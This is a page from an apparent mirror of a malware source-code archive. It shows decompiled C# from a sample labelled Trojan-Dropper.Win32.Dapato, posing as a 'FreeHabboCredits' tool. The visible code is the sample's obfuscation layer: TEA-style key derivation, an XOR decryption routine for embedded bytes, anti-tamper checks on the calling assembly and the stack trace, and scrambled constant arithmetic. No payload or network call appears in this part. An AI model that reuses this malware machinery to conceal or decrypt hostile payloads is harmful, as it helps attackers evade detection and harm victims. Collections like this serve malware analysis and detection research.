mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
461 lines
14 KiB
C#
461 lines
14 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type:
|
|||
|
// Assembly: qzqFreeHabboCredits, Version=924.8446.573.2307, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: C68363C3-90B9-4B41-B73E-69250BBF6D04
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Dapato.avku-a7f57d7af3f5f2eee9dce73783919f24275306ba8511b766b4e534e54464adb8.exe
|
|||
|
|
|||
|
using System;
|
|||
|
using System.Collections.Generic;
|
|||
|
using System.Diagnostics;
|
|||
|
using System.Reflection;
|
|||
|
using System.Runtime.CompilerServices;
|
|||
|
using System.Text;
|
|||
|
using System.Threading;
|
|||
|
|
|||
|
internal static class \u0003\u2000
|
|||
|
{
|
|||
|
private static \u0003\u2000.\u0002 \u0002;
|
|||
|
|
|||
|
static \u0003\u2000()
|
|||
|
{
|
|||
|
\u0003\u2000.\u0002 obj = new \u0003\u2000.\u0002();
|
|||
|
if (false)
|
|||
|
return;
|
|||
|
\u0003\u2000.\u0002 = obj;
|
|||
|
}
|
|||
|
|
|||
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|||
|
internal static long \u0002()
|
|||
|
{
|
|||
|
if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000).Assembly || !\u0003\u2000.\u0002())
|
|||
|
return 5038234971328056794;
|
|||
|
\u0003\u2000.\u0002 obj1 = \u0003\u2000.\u0002;
|
|||
|
if (true)
|
|||
|
goto label_24;
|
|||
|
label_3:
|
|||
|
Monitor.Enter((object) obj1);
|
|||
|
\u0003\u2000.\u0002 obj2;
|
|||
|
try
|
|||
|
{
|
|||
|
long num1 = \u0003\u2000.\u0002.\u0002();
|
|||
|
if (true)
|
|||
|
goto label_20;
|
|||
|
label_5:
|
|||
|
long num2;
|
|||
|
if (num2 == 0L)
|
|||
|
{
|
|||
|
Assembly executingAssembly = Assembly.GetExecutingAssembly();
|
|||
|
if (true)
|
|||
|
goto label_21;
|
|||
|
label_7:
|
|||
|
List<byte> byteList1 = new List<byte>();
|
|||
|
if (true)
|
|||
|
goto label_22;
|
|||
|
label_8:
|
|||
|
Assembly assembly;
|
|||
|
AssemblyName assemblyName;
|
|||
|
try
|
|||
|
{
|
|||
|
AssemblyName name = assembly.GetName();
|
|||
|
if (true)
|
|||
|
assemblyName = name;
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
assemblyName = new AssemblyName(assembly.FullName);
|
|||
|
}
|
|||
|
byte[] collection = assemblyName.GetPublicKeyToken();
|
|||
|
if (collection != null && collection.Length == 0)
|
|||
|
collection = (byte[]) null;
|
|||
|
List<byte> byteList2;
|
|||
|
if (collection != null)
|
|||
|
byteList2.AddRange((IEnumerable<byte>) collection);
|
|||
|
byteList2.AddRange((IEnumerable<byte>) Encoding.Unicode.GetBytes(assemblyName.Name));
|
|||
|
int num3 = \u0003\u2000.\u0002(typeof (\u0003\u2000));
|
|||
|
int num4 = \u0003\u2000.\u0005.\u0002();
|
|||
|
byteList2.Add((byte) (num3 >> 24));
|
|||
|
byteList2.Add((byte) (num4 >> 16));
|
|||
|
byteList2.Add((byte) (num3 >> 8));
|
|||
|
byteList2.Add((byte) num4);
|
|||
|
byteList2.Add((byte) (num3 >> 16));
|
|||
|
byteList2.Add((byte) (num4 >> 8));
|
|||
|
byteList2.Add((byte) num3);
|
|||
|
byteList2.Add((byte) (num4 >> 24));
|
|||
|
int count = byteList2.Count;
|
|||
|
ulong num5 = 0;
|
|||
|
for (int index = 0; index != count; ++index)
|
|||
|
{
|
|||
|
ulong num6 = num5 + (ulong) byteList2[index];
|
|||
|
ulong num7 = num6 + (num6 << 20);
|
|||
|
num5 = num7 ^ num7 >> 12;
|
|||
|
byteList2[index] = (byte) 0;
|
|||
|
}
|
|||
|
ulong num8 = num5 + (num5 << 6);
|
|||
|
ulong num9 = num8 ^ num8 >> 22;
|
|||
|
num2 = (long) (num9 + (num9 << 30)) ^ -6616114120088140669L;
|
|||
|
\u0003\u2000.\u0002.\u0002(num2);
|
|||
|
goto label_19;
|
|||
|
label_22:
|
|||
|
byteList2 = byteList1;
|
|||
|
goto label_8;
|
|||
|
label_21:
|
|||
|
assembly = executingAssembly;
|
|||
|
goto label_7;
|
|||
|
}
|
|||
|
label_19:
|
|||
|
return num2;
|
|||
|
label_20:
|
|||
|
num2 = num1;
|
|||
|
goto label_5;
|
|||
|
}
|
|||
|
finally
|
|||
|
{
|
|||
|
Monitor.Exit((object) obj2);
|
|||
|
}
|
|||
|
label_24:
|
|||
|
obj2 = obj1;
|
|||
|
goto label_3;
|
|||
|
}
|
|||
|
|
|||
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|||
|
internal static void \u0002(byte[] _param0)
|
|||
|
{
|
|||
|
if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000).Assembly || !\u0003\u2000.\u0002())
|
|||
|
return;
|
|||
|
long num1 = \u0003\u2000.\u0002();
|
|||
|
if (true)
|
|||
|
goto label_8;
|
|||
|
label_3:
|
|||
|
byte[] numArray1 = new byte[8];
|
|||
|
if (true)
|
|||
|
goto label_9;
|
|||
|
label_4:
|
|||
|
byte[] numArray2;
|
|||
|
long num2;
|
|||
|
numArray2[0] = (byte) num2;
|
|||
|
numArray2[1] = (byte) (num2 >> 40);
|
|||
|
numArray2[2] = (byte) (num2 >> 56);
|
|||
|
numArray2[3] = (byte) (num2 >> 48);
|
|||
|
numArray2[4] = (byte) (num2 >> 32);
|
|||
|
numArray2[5] = (byte) (num2 >> 24);
|
|||
|
numArray2[6] = (byte) (num2 >> 16);
|
|||
|
numArray2[7] = (byte) (num2 >> 8);
|
|||
|
int length = _param0.Length;
|
|||
|
if (true)
|
|||
|
goto label_10;
|
|||
|
label_5:
|
|||
|
int num3;
|
|||
|
for (int index = 0; index != num3; ++index)
|
|||
|
_param0[index] ^= (byte) ((uint) numArray2[index & 7] + (uint) index);
|
|||
|
return;
|
|||
|
label_10:
|
|||
|
num3 = length;
|
|||
|
goto label_5;
|
|||
|
label_9:
|
|||
|
numArray2 = numArray1;
|
|||
|
goto label_4;
|
|||
|
label_8:
|
|||
|
num2 = num1;
|
|||
|
goto label_3;
|
|||
|
}
|
|||
|
|
|||
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|||
|
private static bool \u0002() => \u0003\u2000.\u0003();
|
|||
|
|
|||
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|||
|
private static bool \u0003()
|
|||
|
{
|
|||
|
StackTrace stackTrace1 = new StackTrace();
|
|||
|
if (true)
|
|||
|
goto label_6;
|
|||
|
label_1:
|
|||
|
StackTrace stackTrace2;
|
|||
|
StackFrame frame = stackTrace2.GetFrame(3);
|
|||
|
if (true)
|
|||
|
goto label_7;
|
|||
|
label_2:
|
|||
|
StackFrame stackFrame;
|
|||
|
MethodBase methodBase1 = stackFrame == null ? (MethodBase) null : stackFrame.GetMethod();
|
|||
|
if (true)
|
|||
|
goto label_8;
|
|||
|
label_3:
|
|||
|
MethodBase methodBase2;
|
|||
|
Type type = (object) methodBase2 == null ? (Type) null : methodBase2.DeclaringType;
|
|||
|
return (object) type != (object) typeof (RuntimeMethodHandle) && (object) type != null && (object) type.Assembly == (object) typeof (\u0003\u2000).Assembly;
|
|||
|
label_8:
|
|||
|
methodBase2 = methodBase1;
|
|||
|
goto label_3;
|
|||
|
label_7:
|
|||
|
stackFrame = frame;
|
|||
|
goto label_2;
|
|||
|
label_6:
|
|||
|
stackTrace2 = stackTrace1;
|
|||
|
goto label_1;
|
|||
|
}
|
|||
|
|
|||
|
private static int \u0002(Type _param0)
|
|||
|
{
|
|||
|
Type type = _param0;
|
|||
|
if (true)
|
|||
|
;
|
|||
|
return type.MetadataToken;
|
|||
|
}
|
|||
|
|
|||
|
private sealed class \u0002
|
|||
|
{
|
|||
|
private int \u0002;
|
|||
|
private int \u0003;
|
|||
|
|
|||
|
internal \u0002()
|
|||
|
{
|
|||
|
if (true)
|
|||
|
;
|
|||
|
// ISSUE: explicit constructor call
|
|||
|
base.\u002Ector();
|
|||
|
this.\u0002(0L);
|
|||
|
}
|
|||
|
|
|||
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|||
|
internal long \u0002()
|
|||
|
{
|
|||
|
if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0002).Assembly || !\u0003\u2000.\u0002())
|
|||
|
return 2918384;
|
|||
|
int[] numArray1 = new int[4];
|
|||
|
if (true)
|
|||
|
goto label_14;
|
|||
|
label_3:
|
|||
|
int[] numArray2;
|
|||
|
numArray2[3] = -~~--~~--~~627729805;
|
|||
|
numArray2[1] = ~--~~--~-~~1069225128;
|
|||
|
numArray2[2] = -~-~~--~~-~669527105;
|
|||
|
numArray2[0] = -~-~~--~~-388920300;
|
|||
|
int num1 = this.\u0002;
|
|||
|
if (true)
|
|||
|
goto label_15;
|
|||
|
label_4:
|
|||
|
int num2 = this.\u0003;
|
|||
|
if (true)
|
|||
|
goto label_16;
|
|||
|
label_5:
|
|||
|
int num3 = -~~-~--~-~~1640531527;
|
|||
|
if (true)
|
|||
|
goto label_17;
|
|||
|
label_6:
|
|||
|
int num4 = -~-~~-~--~~957401312;
|
|||
|
if (true)
|
|||
|
goto label_18;
|
|||
|
label_7:
|
|||
|
if (true)
|
|||
|
goto label_19;
|
|||
|
label_9:
|
|||
|
int num5;
|
|||
|
int num6;
|
|||
|
int num7;
|
|||
|
int num8;
|
|||
|
int num9;
|
|||
|
for (; num9 != 32; ++num9)
|
|||
|
{
|
|||
|
num5 -= (num6 << 4 ^ num6 >> 5) + num6 ^ num7 + numArray2[num7 >> 11 & 3];
|
|||
|
num7 -= num8;
|
|||
|
num6 -= (num5 << 4 ^ num5 >> 5) + num5 ^ num7 + numArray2[num7 & 3];
|
|||
|
}
|
|||
|
for (int index = 0; index != 4; ++index)
|
|||
|
numArray2[index] = 0;
|
|||
|
return (long) ((ulong) num5 << 32 | (ulong) (uint) num6);
|
|||
|
label_19:
|
|||
|
num9 = 0;
|
|||
|
goto label_9;
|
|||
|
label_18:
|
|||
|
num7 = num4;
|
|||
|
goto label_7;
|
|||
|
label_17:
|
|||
|
num8 = num3;
|
|||
|
goto label_6;
|
|||
|
label_16:
|
|||
|
num5 = num2;
|
|||
|
goto label_5;
|
|||
|
label_15:
|
|||
|
num6 = num1;
|
|||
|
goto label_4;
|
|||
|
label_14:
|
|||
|
numArray2 = numArray1;
|
|||
|
goto label_3;
|
|||
|
}
|
|||
|
|
|||
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|||
|
internal void \u0002(long _param1)
|
|||
|
{
|
|||
|
if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0002).Assembly || !\u0003\u2000.\u0002())
|
|||
|
return;
|
|||
|
int[] numArray1 = new int[4];
|
|||
|
if (true)
|
|||
|
goto label_13;
|
|||
|
label_2:
|
|||
|
int[] numArray2;
|
|||
|
numArray2[1] = -~~--~~-~-~1069225126;
|
|||
|
numArray2[0] = ~-~--~~-~-388920304;
|
|||
|
numArray2[2] = ~-~--~~-~-~669527101;
|
|||
|
numArray2[3] = -~~-~-~--~~627729803;
|
|||
|
int num1 = ~--~~-~-~1640531524;
|
|||
|
if (true)
|
|||
|
goto label_14;
|
|||
|
label_3:
|
|||
|
int num2 = (int) _param1;
|
|||
|
if (true)
|
|||
|
goto label_15;
|
|||
|
label_4:
|
|||
|
int num3 = (int) (_param1 >> 32);
|
|||
|
if (true)
|
|||
|
goto label_16;
|
|||
|
label_5:
|
|||
|
if (true)
|
|||
|
goto label_17;
|
|||
|
label_6:
|
|||
|
int num4;
|
|||
|
int num5;
|
|||
|
int num6;
|
|||
|
int num7;
|
|||
|
for (int index = 0; index != 32; ++index)
|
|||
|
{
|
|||
|
num4 += (num5 << 4 ^ num5 >> 5) + num5 ^ num6 + numArray2[num6 & 3];
|
|||
|
num6 += num7;
|
|||
|
num5 += (num4 << 4 ^ num4 >> 5) + num4 ^ num6 + numArray2[num6 >> 11 & 3];
|
|||
|
}
|
|||
|
for (int index = 0; index != 4; ++index)
|
|||
|
numArray2[index] = 0;
|
|||
|
this.\u0002 = num4;
|
|||
|
this.\u0003 = num5;
|
|||
|
return;
|
|||
|
label_17:
|
|||
|
num6 = 0;
|
|||
|
goto label_6;
|
|||
|
label_16:
|
|||
|
num5 = num3;
|
|||
|
goto label_5;
|
|||
|
label_15:
|
|||
|
num4 = num2;
|
|||
|
goto label_4;
|
|||
|
label_14:
|
|||
|
num7 = num1;
|
|||
|
goto label_3;
|
|||
|
label_13:
|
|||
|
numArray2 = numArray1;
|
|||
|
goto label_2;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
private static class \u0003
|
|||
|
{
|
|||
|
internal static int \u0002(int _param0, int _param1)
|
|||
|
{
|
|||
|
int num1 = _param0;
|
|||
|
if (true)
|
|||
|
;
|
|||
|
int num2 = _param1 - ~-~--~~-~1281856105;
|
|||
|
return num1 ^ num2;
|
|||
|
}
|
|||
|
|
|||
|
internal static int \u0003(int _param0, int _param1)
|
|||
|
{
|
|||
|
int num1 = _param0;
|
|||
|
if (true)
|
|||
|
;
|
|||
|
int num2 = -~-~-~~-~1431545519;
|
|||
|
return num1 - num2 ^ _param1 + ~--~~-~-~-1541906380;
|
|||
|
}
|
|||
|
|
|||
|
internal static int \u0005(int _param0, int _param1)
|
|||
|
{
|
|||
|
int num1 = _param0;
|
|||
|
if (true)
|
|||
|
;
|
|||
|
int num2 = _param1 - -~~-~-~-~-~-894686461 ^ _param0 - _param1;
|
|||
|
return num1 ^ num2;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
private sealed class \u0005
|
|||
|
{
|
|||
|
public \u0005()
|
|||
|
{
|
|||
|
if (true)
|
|||
|
;
|
|||
|
// ISSUE: explicit constructor call
|
|||
|
base.\u002Ector();
|
|||
|
}
|
|||
|
|
|||
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|||
|
internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0005).Assembly || !\u0003\u2000.\u0002() ? -1509110933 : \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006)), \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u000F)))), \u0003\u2000.\u0002\u2000.\u0002());
|
|||
|
}
|
|||
|
|
|||
|
private sealed class \u0006
|
|||
|
{
|
|||
|
public \u0006()
|
|||
|
{
|
|||
|
if (true)
|
|||
|
;
|
|||
|
// ISSUE: explicit constructor call
|
|||
|
base.\u002Ector();
|
|||
|
}
|
|||
|
|
|||
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|||
|
internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0006).Assembly || !\u0003\u2000.\u0002() ? -82806859 : \u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0008)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u000E)) ^ \u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006)), \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2000)), \u0003\u2000.\u000E.\u0002())));
|
|||
|
}
|
|||
|
|
|||
|
private sealed class \u0008
|
|||
|
{
|
|||
|
public \u0008()
|
|||
|
{
|
|||
|
if (true)
|
|||
|
;
|
|||
|
// ISSUE: explicit constructor call
|
|||
|
base.\u002Ector();
|
|||
|
}
|
|||
|
|
|||
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|||
|
internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0008).Assembly || !\u0003\u2000.\u0002() ? 1294352278 : \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0006.\u0002() ^ ~--~-~~--~~-527758446, \u0003\u2000.\u0002(typeof (\u0003\u2000.\u000E))), \u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005)) ^ \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2000)), -~-~-~~-~-38783456));
|
|||
|
}
|
|||
|
|
|||
|
private sealed class \u000E
|
|||
|
{
|
|||
|
public \u000E()
|
|||
|
{
|
|||
|
if (true)
|
|||
|
;
|
|||
|
// ISSUE: explicit constructor call
|
|||
|
base.\u002Ector();
|
|||
|
}
|
|||
|
|
|||
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|||
|
internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u000E).Assembly || !\u0003\u2000.\u0002() ? 402344241 : \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u000E)), \u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005)), \u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006)), \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0008)), \u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u000F)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2000)))))));
|
|||
|
}
|
|||
|
|
|||
|
private sealed class \u000F
|
|||
|
{
|
|||
|
public \u000F()
|
|||
|
{
|
|||
|
if (true)
|
|||
|
;
|
|||
|
// ISSUE: explicit constructor call
|
|||
|
base.\u002Ector();
|
|||
|
}
|
|||
|
|
|||
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|||
|
internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u000F).Assembly || !\u0003\u2000.\u0002() ? -56237163 : \u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0008.\u0002(), \u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u000F)), \u0003\u2000.\u0006.\u0002())), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2000)));
|
|||
|
}
|
|||
|
|
|||
|
private sealed class \u0002\u2000
|
|||
|
{
|
|||
|
public \u0002\u2000()
|
|||
|
{
|
|||
|
if (true)
|
|||
|
;
|
|||
|
// ISSUE: explicit constructor call
|
|||
|
base.\u002Ector();
|
|||
|
}
|
|||
|
|
|||
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|||
|
internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0002\u2000).Assembly || !\u0003\u2000.\u0002() ? 1106695601 : \u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2000)), \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u000F)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005))), \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0008)) ^ -~~--~~-~-~1036479759, \u0003\u2000.\u000F.\u0002())));
|
|||
|
}
|
|||
|
}
|